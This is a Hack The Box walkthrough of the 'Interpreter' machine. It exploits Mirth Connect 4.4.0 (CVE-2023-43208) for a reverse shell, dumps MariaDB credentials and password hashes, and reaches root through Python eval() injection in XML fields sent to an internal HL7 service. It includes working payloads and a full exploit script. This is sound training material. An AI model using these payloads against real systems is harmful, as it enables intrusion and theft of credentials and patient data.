FILE 001 · Privilege escalation
Interpreter
Mirth Connect 4.4.0 (CVE-2023-43208) for the foothold, DB creds and channel analysis to an internal root-owned service, then Python eval() injection in HL7-derived XML to read both flags.
- CVE-2023-43208
- DB creds
- internal HL7 service
- eval() injection
Interpreter is a medium difficulty Linux machine on Hack The Box that revolves around exploiting a vulnerable Mirth Connect instance for initial access. The box focuses on credential extraction, hash cracking, and thorough MariaDB database enumeration to uncover reusable secrets.
Progression requires identifying and pivoting into hidden internal services bound to localhost, ultimately leading to root compromise through proper enumeration and privilege escalation techniques.
Reconnaissance
Nmap Scan
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp open http Jetty
443/tcp open ssl/http Jetty
6661/tcp open unknown
Ports 80 and 443 host the Mirth Connect Administrator web interface by NextGen Healthcare. Port 6661 is a TCP listener used by a Mirth Connect channel (HL7 MLLP protocol). SSH is available on port 22.
Version Enumeration
curl -sk https://10.129.2.168/api/server/version -H "X-Requested-With: OpenAPI"
# => 4.4.0
Mirth Connect version 4.4.0 — vulnerable to CVE-2023-43208, a pre-authentication Remote Code Execution via XStream deserialization.
Initial Foothold — CVE-2023-43208 (XStream Deserialization RCE)
CVE-2023-43208 is a bypass of CVE-2023-37679. It exploits unsafe deserialization of XML payloads sent to the /api/users endpoint. The XStream library deserializes a crafted XML payload containing a ChainedTransformer gadget chain that invokes Runtime.exec().
Exploit
Using the public PoC by K3ysTr0K3R and Chocapikk:
# Terminal 1 — Listener
nc -lvnp 1338
# Terminal 2 — Exploit
python CVE-2023-43208.py -u https://10.129.2.168 -lh <VPN_IP> -lp 1338
Note: The PoC depends on
pwncat-cswhich has significant dependency conflicts on Python 3.13. If pwncat fails to import, comment outimport pwncat.managerand use a standalonenclistener instead. The reverse shell payload fires regardless.
Shell received as mirth (uid=103).
Lateral Movement — Mirth to Sedric
Database Credential Discovery
The Mirth Connect configuration at /usr/local/mirthconnect/conf/mirth.properties contains MariaDB credentials along with keystore passwords:
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
Database Enumeration
# List all tables
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SHOW TABLES;"
# Dump user accounts
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM PERSON;"
# => Found user "sedric" (ID 2)
# Dump password hashes
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM PERSON_PASSWORD;"
# => PERSON_ID: 2 | PASSWORD: u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
# Check password table schema (looking for salt column)
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "DESCRIBE PERSON_PASSWORD;"
# => No salt column — Mirth Connect 4.4.0 uses PBKDF2 internally
# Check configuration for additional info
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM CONFIGURATION;"
# Dump channel definitions
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e "SELECT * FROM CHANNEL;"
The PERSON table revealed user sedric with a PBKDF2 password hash. Password reuse with MirthPass123! and the keystore passwords was attempted against su sedric but failed.
Channel Analysis
Querying the CHANNEL table reveals a channel named “INTERPRETER - HL7 TO XML TO NOTIFY”:
- Source: TCP Listener on port 6661 (MLLP), receives HL7v2 messages
- Transformer: Converts HL7 → XML patient records
- Destination: HTTP POST to
http://127.0.0.1:54321/addPatient
The outbound XML template (base64-decoded):
<patient>
<timestamp></timestamp>
<sender_app></sender_app>
<id></id>
<firstname></firstname>
<lastname></lastname>
<birth_date></birth_date>
<gender></gender>
</patient>
Probing the Internal Service
The service on port 54321 accepts POST requests to /addPatient with the XML template above:
python3 -c "
import urllib.request
xml = '''<patient>
<timestamp>20250101120000</timestamp>
<sender_app>WEBAPP</sender_app>
<id>12345</id>
<firstname>John</firstname>
<lastname>Doe</lastname>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>'''
req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=xml.encode(), method='POST')
req.add_header('Content-Type', 'text/plain')
print(urllib.request.urlopen(req).read().decode())
"
# => Patient John Doe (M), 36 years old, received from WEBAPP at 20250101120000
Discovering Python eval() Injection
Testing various injection payloads, Python f-string expressions inside {} braces are evaluated server-side. The key indicator was the [EVAL_ERROR] response:
firstname={0.__class__} => [EVAL_ERROR] invalid decimal literal (<string>, line 1)
This confirms the backend uses Python’s eval() or f-string evaluation on user-controlled input.
Testing confirmed expression evaluation:
firstname={1} => Patient 1 Doe (M)...
firstname={True} => Patient True Doe (M)...
firstname={len('test')} => Patient 4 Doe (M)...
Privilege Escalation — Root via eval() RCE
The internal service on port 54321 runs as root:
firstname={__import__('os').popen('id').read()}
# => uid=0(root) gid=0(root) groups=0(root)
Input Filtering Bypass
The service filters certain characters like spaces, hyphens, semicolons, and pipes in field values. To bypass this, use Python’s open() built-in instead of shell commands:
# Read flags directly with Python — no shell, no spaces needed
firstname={open('/home/sedric/user.txt').read()}
firstname={open('/root/root.txt').read()}
Final Exploit Script
import urllib.request
def send(payload):
xml = '<patient>\n'
xml += ' <timestamp>20250101120000</timestamp>\n'
xml += ' <sender_app>WEBAPP</sender_app>\n'
xml += ' <id>12345</id>\n'
xml += ' <firstname>{' + payload + '}</firstname>\n'
xml += ' <lastname>Doe</lastname>\n'
xml += ' <birth_date>01/01/1990</birth_date>\n'
xml += ' <gender>M</gender>\n'
xml += '</patient>'
req = urllib.request.Request(
'http://127.0.0.1:54321/addPatient',
data=xml.encode(), method='POST'
)
req.add_header('Content-Type', 'text/plain')
resp = urllib.request.urlopen(req).read().decode()
print(resp)
send("open('/home/sedric/user.txt').read()")
send("open('/root/root.txt').read()")
Attack Path Summary
Nmap → Mirth Connect 4.4.0 on ports 80/443
→ CVE-2023-43208 (XStream deserialization RCE) → shell as mirth
→ DB creds in mirth.properties → MariaDB enumeration
→ Channel config reveals internal service on 127.0.0.1:54321
→ Python eval() injection in XML patient fields
→ Service runs as root → read both flags